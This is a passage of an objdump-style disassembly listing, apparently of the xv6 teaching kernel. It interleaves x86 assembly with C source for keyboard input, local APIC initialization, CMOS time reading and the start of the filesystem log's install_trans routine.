80102571: 74 05 je 80102578 <kbdgetc+0x68>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
80102573: 0c 80 or $0x80,%al
shift &= ~E0ESC;
80102575: 83 e1 bf and $0xffffffbf,%ecx
}
shift |= shiftcode[data];
80102578: 0f b6 90 c0 6f 10 80 movzbl -0x7fef9040(%eax),%edx
8010257f: 09 ca or %ecx,%edx
shift ^= togglecode[data];
80102581: 0f b6 88 c0 70 10 80 movzbl -0x7fef8f40(%eax),%ecx
80102588: 31 ca xor %ecx,%edx
c = charcode[shift & (CTL | SHIFT)][data];
8010258a: 89 d1 mov %edx,%ecx
8010258c: 83 e1 03 and $0x3,%ecx
8010258f: 8b 0c 8d c0 71 10 80 mov -0x7fef8e40(,%ecx,4),%ecx
data |= 0x80;
shift &= ~E0ESC;
}
shift |= shiftcode[data];
shift ^= togglecode[data];
80102596: 89 15 9c a5 10 80 mov %edx,0x8010a59c
c = charcode[shift & (CTL | SHIFT)][data];
if(shift & CAPSLOCK){
8010259c: 83 e2 08 and $0x8,%edx
shift &= ~E0ESC;
}
shift |= shiftcode[data];
shift ^= togglecode[data];
c = charcode[shift & (CTL | SHIFT)][data];
8010259f: 0f b6 0c 01 movzbl (%ecx,%eax,1),%ecx
if(shift & CAPSLOCK){
801025a3: 74 bb je 80102560 <kbdgetc+0x50>
if('a' <= c && c <= 'z')
801025a5: 8d 41 9f lea -0x61(%ecx),%eax
801025a8: 83 f8 19 cmp $0x19,%eax
801025ab: 77 1b ja 801025c8 <kbdgetc+0xb8>
c += 'A' - 'a';
801025ad: 83 e9 20 sub $0x20,%ecx
801025b0: eb ae jmp 80102560 <kbdgetc+0x50>
801025b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
data = inb(KBDATAP);
if(data == 0xE0){
shift |= E0ESC;
return 0;
801025b8: 31 c9 xor %ecx,%ecx
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
801025ba: 89 c8 mov %ecx,%eax
if((st & KBS_DIB) == 0)
return -1;
data = inb(KBDATAP);
if(data == 0xE0){
shift |= E0ESC;
801025bc: 83 0d 9c a5 10 80 40 orl $0x40,0x8010a59c
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
801025c3: 5d pop %ebp
801025c4: c3 ret
801025c5: 8d 76 00 lea 0x0(%esi),%esi
shift ^= togglecode[data];
c = charcode[shift & (CTL | SHIFT)][data];
if(shift & CAPSLOCK){
if('a' <= c && c <= 'z')
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
801025c8: 8d 51 bf lea -0x41(%ecx),%edx
c += 'a' - 'A';
801025cb: 8d 41 20 lea 0x20(%ecx),%eax
801025ce: 83 fa 19 cmp $0x19,%edx
801025d1: 0f 46 c8 cmovbe %eax,%ecx
}
return c;
801025d4: eb 8a jmp 80102560 <kbdgetc+0x50>
801025d6: 8d 76 00 lea 0x0(%esi),%esi
801025d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801025e0 <kbdintr>:
}
void
kbdintr(void)
{
801025e0: 55 push %ebp
801025e1: 89 e5 mov %esp,%ebp
801025e3: 83 ec 18 sub $0x18,%esp
consoleintr(kbdgetc);
801025e6: c7 04 24 10 25 10 80 movl $0x80102510,(%esp)
801025ed: e8 ce e1 ff ff call 801007c0 <consoleintr>
}
801025f2: c9 leave
801025f3: c3 ret
...
80102600 <lapicinit>:
}
void
lapicinit(void)
{
if(!lapic)
80102600: a1 7c 26 11 80 mov 0x8011267c,%eax
lapic[ID]; // wait for write to finish, by reading
}
void
lapicinit(void)
{
80102605: 55 push %ebp
80102606: 89 e5 mov %esp,%ebp
if(!lapic)
80102608: 85 c0 test %eax,%eax
8010260a: 0f 84 c0 00 00 00 je 801026d0 <lapicinit+0xd0>
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102610: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax)
80102617: 01 00 00
lapic[ID]; // wait for write to finish, by reading
8010261a: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010261d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax)
80102624: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102627: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010262a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax)
80102631: 00 02 00
lapic[ID]; // wait for write to finish, by reading
80102634: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102637: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax)
8010263e: 96 98 00
lapic[ID]; // wait for write to finish, by reading
80102641: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102644: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax)
8010264b: 00 01 00
lapic[ID]; // wait for write to finish, by reading
8010264e: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102651: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax)
80102658: 00 01 00
lapic[ID]; // wait for write to finish, by reading
8010265b: 8b 50 20 mov 0x20(%eax),%edx
lapicw(LINT0, MASKED);
lapicw(LINT1, MASKED);
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
8010265e: 8b 50 30 mov 0x30(%eax),%edx
80102661: c1 ea 10 shr $0x10,%edx
80102664: 80 fa 03 cmp $0x3,%dl
80102667: 77 6f ja 801026d8 <lapicinit+0xd8>
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102669: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax)
80102670: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102673: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102676: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
8010267d: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102680: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102683: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
8010268a: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010268d: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102690: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102697: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010269a: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010269d: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax)
801026a4: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026a7: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026aa: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax)
801026b1: 85 08 00
lapic[ID]; // wait for write to finish, by reading
801026b4: 8b 50 20 mov 0x20(%eax),%edx
801026b7: 90 nop
lapicw(EOI, 0);
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
lapicw(ICRLO, BCAST | INIT | LEVEL);
while(lapic[ICRLO] & DELIVS)
801026b8: 8b 90 00 03 00 00 mov 0x300(%eax),%edx
801026be: 80 e6 10 and $0x10,%dh
801026c1: 75 f5 jne 801026b8 <lapicinit+0xb8>
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026c3: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax)
801026ca: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026cd: 8b 40 20 mov 0x20(%eax),%eax
while(lapic[ICRLO] & DELIVS)
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
}
801026d0: 5d pop %ebp
801026d1: c3 ret
801026d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026d8: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax)
801026df: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801026e2: 8b 50 20 mov 0x20(%eax),%edx
801026e5: eb 82 jmp 80102669 <lapicinit+0x69>
801026e7: 89 f6 mov %esi,%esi
801026e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801026f0 <lapicid>:
}
int
lapicid(void)
{
if (!lapic)
801026f0: 8b 15 7c 26 11 80 mov 0x8011267c,%edx
return 0;
801026f6: 31 c0 xor %eax,%eax
lapicw(TPR, 0);
}
int
lapicid(void)
{
801026f8: 55 push %ebp
801026f9: 89 e5 mov %esp,%ebp
if (!lapic)
801026fb: 85 d2 test %edx,%edx
801026fd: 74 06 je 80102705 <lapicid+0x15>
return 0;
return lapic[ID] >> 24;
801026ff: 8b 42 20 mov 0x20(%edx),%eax
80102702: c1 e8 18 shr $0x18,%eax
}
80102705: 5d pop %ebp
80102706: c3 ret
80102707: 89 f6 mov %esi,%esi
80102709: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102710 <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
if(lapic)
80102710: a1 7c 26 11 80 mov 0x8011267c,%eax
}
// Acknowledge interrupt.
void
lapiceoi(void)
{
80102715: 55 push %ebp
80102716: 89 e5 mov %esp,%ebp
if(lapic)
80102718: 85 c0 test %eax,%eax
8010271a: 74 0d je 80102729 <lapiceoi+0x19>
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010271c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102723: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102726: 8b 40 20 mov 0x20(%eax),%eax
void
lapiceoi(void)
{
if(lapic)
lapicw(EOI, 0);
}
80102729: 5d pop %ebp
8010272a: c3 ret
8010272b: 90 nop
8010272c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102730 <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102730: 55 push %ebp
80102731: 89 e5 mov %esp,%ebp
}
80102733: 5d pop %ebp
80102734: c3 ret
80102735: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102739: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102740 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102740: 55 push %ebp
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102741: ba 70 00 00 00 mov $0x70,%edx
80102746: 89 e5 mov %esp,%ebp
80102748: b8 0f 00 00 00 mov $0xf,%eax
8010274d: 53 push %ebx
8010274e: 8b 4d 0c mov 0xc(%ebp),%ecx
80102751: 0f b6 5d 08 movzbl 0x8(%ebp),%ebx
80102755: ee out %al,(%dx)
80102756: b8 0a 00 00 00 mov $0xa,%eax
8010275b: b2 71 mov $0x71,%dl
8010275d: ee out %al,(%dx)
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
wrv[1] = addr >> 4;
8010275e: 89 c8 mov %ecx,%eax
80102760: c1 e8 04 shr $0x4,%eax
80102763: 66 a3 69 04 00 80 mov %ax,0x80000469
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102769: a1 7c 26 11 80 mov 0x8011267c,%eax
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
8010276e: c1 e9 0c shr $0xc,%ecx
wrv[0] = 0;
wrv[1] = addr >> 4;
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
80102771: c1 e3 18 shl $0x18,%ebx
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
80102774: 80 cd 06 or $0x6,%ch
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
80102777: 66 c7 05 67 04 00 80 movw $0x0,0x80000467
8010277e: 00 00
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102780: 89 98 10 03 00 00 mov %ebx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102786: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102789: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax)
80102790: c5 00 00
lapic[ID]; // wait for write to finish, by reading
80102793: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102796: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax)
8010279d: 85 00 00
lapic[ID]; // wait for write to finish, by reading
801027a0: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801027a3: 89 98 10 03 00 00 mov %ebx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801027a9: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801027ac: 89 88 00 03 00 00 mov %ecx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
801027b2: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801027b5: 89 98 10 03 00 00 mov %ebx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801027bb: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801027be: 89 88 00 03 00 00 mov %ecx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
801027c4: 8b 40 20 mov 0x20(%eax),%eax
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
microdelay(200);
}
}
801027c7: 5b pop %ebx
801027c8: 5d pop %ebp
801027c9: c3 ret
801027ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801027d0 <cmostime>:
}
// qemu seems to use 24-hour GWT and the values are BCD encoded
void
cmostime(struct rtcdate *r)
{
801027d0: 55 push %ebp
801027d1: ba 70 00 00 00 mov $0x70,%edx
801027d6: 89 e5 mov %esp,%ebp
801027d8: b8 0b 00 00 00 mov $0xb,%eax
801027dd: 57 push %edi
801027de: 56 push %esi
801027df: 53 push %ebx
801027e0: 83 ec 6c sub $0x6c,%esp
801027e3: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801027e4: b2 71 mov $0x71,%dl
801027e6: ec in (%dx),%al
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
bcd = (sb & (1 << 2)) == 0;
801027e7: 89 c2 mov %eax,%edx
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801027e9: bb 70 00 00 00 mov $0x70,%ebx
801027ee: 83 e2 04 and $0x4,%edx
801027f1: 89 55 a4 mov %edx,-0x5c(%ebp)
801027f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801027f8: 31 c0 xor %eax,%eax
801027fa: 89 da mov %ebx,%edx
801027fc: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801027fd: b9 71 00 00 00 mov $0x71,%ecx
80102802: 89 ca mov %ecx,%edx
80102804: ec in (%dx),%al
cmos_read(uint reg)
{
outb(CMOS_PORT, reg);
microdelay(200);
return inb(CMOS_RETURN);
80102805: 0f b6 f0 movzbl %al,%esi
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102808: 89 da mov %ebx,%edx
8010280a: b8 02 00 00 00 mov $0x2,%eax
8010280f: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102810: 89 ca mov %ecx,%edx
80102812: ec in (%dx),%al
80102813: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102816: 89 da mov %ebx,%edx
80102818: 89 45 b4 mov %eax,-0x4c(%ebp)
8010281b: b8 04 00 00 00 mov $0x4,%eax
80102820: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102821: 89 ca mov %ecx,%edx
80102823: ec in (%dx),%al
80102824: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102827: 89 da mov %ebx,%edx
80102829: 89 45 b0 mov %eax,-0x50(%ebp)
8010282c: b8 07 00 00 00 mov $0x7,%eax
80102831: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102832: 89 ca mov %ecx,%edx
80102834: ec in (%dx),%al
80102835: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102838: 89 da mov %ebx,%edx
8010283a: 89 45 ac mov %eax,-0x54(%ebp)
8010283d: b8 08 00 00 00 mov $0x8,%eax
80102842: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102843: 89 ca mov %ecx,%edx
80102845: ec in (%dx),%al
80102846: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102849: 89 da mov %ebx,%edx
8010284b: 89 45 a8 mov %eax,-0x58(%ebp)
8010284e: b8 09 00 00 00 mov $0x9,%eax
80102853: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102854: 89 ca mov %ecx,%edx
80102856: ec in (%dx),%al
80102857: 0f b6 f8 movzbl %al,%edi
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010285a: 89 da mov %ebx,%edx
8010285c: b8 0a 00 00 00 mov $0xa,%eax
80102861: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102862: 89 ca mov %ecx,%edx
80102864: ec in (%dx),%al
bcd = (sb & (1 << 2)) == 0;
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
if(cmos_read(CMOS_STATA) & CMOS_UIP)
80102865: a8 80 test $0x80,%al
80102867: 75 8f jne 801027f8 <cmostime+0x28>
80102869: 8b 45 b4 mov -0x4c(%ebp),%eax
8010286c: 8b 55 b0 mov -0x50(%ebp),%edx
8010286f: 89 75 b8 mov %esi,-0x48(%ebp)
80102872: 89 7d cc mov %edi,-0x34(%ebp)
80102875: 89 45 bc mov %eax,-0x44(%ebp)
80102878: 8b 45 ac mov -0x54(%ebp),%eax
8010287b: 89 55 c0 mov %edx,-0x40(%ebp)
8010287e: 8b 55 a8 mov -0x58(%ebp),%edx
80102881: 89 45 c4 mov %eax,-0x3c(%ebp)
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102884: 31 c0 xor %eax,%eax
80102886: 89 55 c8 mov %edx,-0x38(%ebp)
80102889: 89 da mov %ebx,%edx
8010288b: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010288c: 89 ca mov %ecx,%edx
8010288e: ec in (%dx),%al
cmos_read(uint reg)
{
outb(CMOS_PORT, reg);
microdelay(200);
return inb(CMOS_RETURN);
8010288f: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102892: 89 da mov %ebx,%edx
80102894: 89 45 d0 mov %eax,-0x30(%ebp)
80102897: b8 02 00 00 00 mov $0x2,%eax
8010289c: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010289d: 89 ca mov %ecx,%edx
8010289f: ec in (%dx),%al
801028a0: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801028a3: 89 da mov %ebx,%edx
801028a5: 89 45 d4 mov %eax,-0x2c(%ebp)
801028a8: b8 04 00 00 00 mov $0x4,%eax
801028ad: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028ae: 89 ca mov %ecx,%edx
801028b0: ec in (%dx),%al
801028b1: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801028b4: 89 da mov %ebx,%edx
801028b6: 89 45 d8 mov %eax,-0x28(%ebp)
801028b9: b8 07 00 00 00 mov $0x7,%eax
801028be: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028bf: 89 ca mov %ecx,%edx
801028c1: ec in (%dx),%al
801028c2: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801028c5: 89 da mov %ebx,%edx
801028c7: 89 45 dc mov %eax,-0x24(%ebp)
801028ca: b8 08 00 00 00 mov $0x8,%eax
801028cf: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028d0: 89 ca mov %ecx,%edx
801028d2: ec in (%dx),%al
801028d3: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801028d6: 89 da mov %ebx,%edx
801028d8: 89 45 e0 mov %eax,-0x20(%ebp)
801028db: b8 09 00 00 00 mov $0x9,%eax
801028e0: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028e1: 89 ca mov %ecx,%edx
801028e3: ec in (%dx),%al
801028e4: 0f b6 c8 movzbl %al,%ecx
for(;;) {
fill_rtcdate(&t1);
if(cmos_read(CMOS_STATA) & CMOS_UIP)
continue;
fill_rtcdate(&t2);
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
801028e7: 8d 55 b8 lea -0x48(%ebp),%edx
801028ea: 8d 45 d0 lea -0x30(%ebp),%eax
cmos_read(uint reg)
{
outb(CMOS_PORT, reg);
microdelay(200);
return inb(CMOS_RETURN);
801028ed: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(;;) {
fill_rtcdate(&t1);
if(cmos_read(CMOS_STATA) & CMOS_UIP)
continue;
fill_rtcdate(&t2);
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
801028f0: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
801028f7: 00
801028f8: 89 44 24 04 mov %eax,0x4(%esp)
801028fc: 89 14 24 mov %edx,(%esp)
801028ff: e8 9c 1a 00 00 call 801043a0 <memcmp>
80102904: 85 c0 test %eax,%eax
80102906: 0f 85 ec fe ff ff jne 801027f8 <cmostime+0x28>
break;
}
// convert
if(bcd) {
8010290c: 8b 45 a4 mov -0x5c(%ebp),%eax
8010290f: 85 c0 test %eax,%eax
80102911: 75 78 jne 8010298b <cmostime+0x1bb>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
80102913: 8b 45 b8 mov -0x48(%ebp),%eax
80102916: 89 c2 mov %eax,%edx
80102918: 83 e0 0f and $0xf,%eax
8010291b: c1 ea 04 shr $0x4,%edx
8010291e: 8d 14 92 lea (%edx,%edx,4),%edx
80102921: 8d 04 50 lea (%eax,%edx,2),%eax
80102924: 89 45 b8 mov %eax,-0x48(%ebp)
CONV(minute);
80102927: 8b 45 bc mov -0x44(%ebp),%eax
8010292a: 89 c2 mov %eax,%edx
8010292c: 83 e0 0f and $0xf,%eax
8010292f: c1 ea 04 shr $0x4,%edx
80102932: 8d 14 92 lea (%edx,%edx,4),%edx
80102935: 8d 04 50 lea (%eax,%edx,2),%eax
80102938: 89 45 bc mov %eax,-0x44(%ebp)
CONV(hour );
8010293b: 8b 45 c0 mov -0x40(%ebp),%eax
8010293e: 89 c2 mov %eax,%edx
80102940: 83 e0 0f and $0xf,%eax
80102943: c1 ea 04 shr $0x4,%edx
80102946: 8d 14 92 lea (%edx,%edx,4),%edx
80102949: 8d 04 50 lea (%eax,%edx,2),%eax
8010294c: 89 45 c0 mov %eax,-0x40(%ebp)
CONV(day );
8010294f: 8b 45 c4 mov -0x3c(%ebp),%eax
80102952: 89 c2 mov %eax,%edx
80102954: 83 e0 0f and $0xf,%eax
80102957: c1 ea 04 shr $0x4,%edx
8010295a: 8d 14 92 lea (%edx,%edx,4),%edx
8010295d: 8d 04 50 lea (%eax,%edx,2),%eax
80102960: 89 45 c4 mov %eax,-0x3c(%ebp)
CONV(month );
80102963: 8b 45 c8 mov -0x38(%ebp),%eax
80102966: 89 c2 mov %eax,%edx
80102968: 83 e0 0f and $0xf,%eax
8010296b: c1 ea 04 shr $0x4,%edx
8010296e: 8d 14 92 lea (%edx,%edx,4),%edx
80102971: 8d 04 50 lea (%eax,%edx,2),%eax
80102974: 89 45 c8 mov %eax,-0x38(%ebp)
CONV(year );
80102977: 8b 45 cc mov -0x34(%ebp),%eax
8010297a: 89 c2 mov %eax,%edx
8010297c: 83 e0 0f and $0xf,%eax
8010297f: c1 ea 04 shr $0x4,%edx
80102982: 8d 14 92 lea (%edx,%edx,4),%edx
80102985: 8d 04 50 lea (%eax,%edx,2),%eax
80102988: 89 45 cc mov %eax,-0x34(%ebp)
#undef CONV
}
*r = t1;
8010298b: 8b 55 08 mov 0x8(%ebp),%edx
8010298e: 8b 45 b8 mov -0x48(%ebp),%eax
80102991: 89 02 mov %eax,(%edx)
80102993: 8b 45 bc mov -0x44(%ebp),%eax
80102996: 89 42 04 mov %eax,0x4(%edx)
80102999: 8b 45 c0 mov -0x40(%ebp),%eax
8010299c: 89 42 08 mov %eax,0x8(%edx)
8010299f: 8b 45 c4 mov -0x3c(%ebp),%eax
801029a2: 89 42 0c mov %eax,0xc(%edx)
801029a5: 8b 45 c8 mov -0x38(%ebp),%eax
801029a8: 89 42 10 mov %eax,0x10(%edx)
801029ab: 8b 45 cc mov -0x34(%ebp),%eax
801029ae: 89 42 14 mov %eax,0x14(%edx)
r->year += 2000;
801029b1: 81 42 14 d0 07 00 00 addl $0x7d0,0x14(%edx)
}
801029b8: 83 c4 6c add $0x6c,%esp
801029bb: 5b pop %ebx
801029bc: 5e pop %esi
801029bd: 5f pop %edi
801029be: 5d pop %ebp
801029bf: c3 ret
801029c0 <install_trans>:
}
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
801029c0: 55 push %ebp
801029c1: 89 e5 mov %esp,%ebp
801029c3: 57 push %edi
801029c4: 56 push %esi
801029c5: 53 push %ebx
801029c6: 83 ec 1c sub $0x1c,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801029c9: a1 c8 26 11 80 mov 0x801126c8,%eax
801029ce: 85 c0 test %eax,%eax
801029d0: 7e 7a jle 80102a4c <install_trans+0x8c>
801029d2: 31 db xor %ebx,%ebx
801029d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
801029d8: a1 b4 26 11 80 mov 0x801126b4,%eax
801029dd: 01 d8 add %ebx,%eax
801029df: 83 c0 01 add $0x1,%eax
801029e2: 89 44 24 04 mov %eax,0x4(%esp)
801029e6: a1 c4 26 11 80 mov 0x801126c4,%eax
801029eb: 89 04 24 mov %eax,(%esp)
801029ee: e8 dd d6 ff ff call 801000d0 <bread>
801029f3: 89 c7 mov %eax,%edi
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
801029f5: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
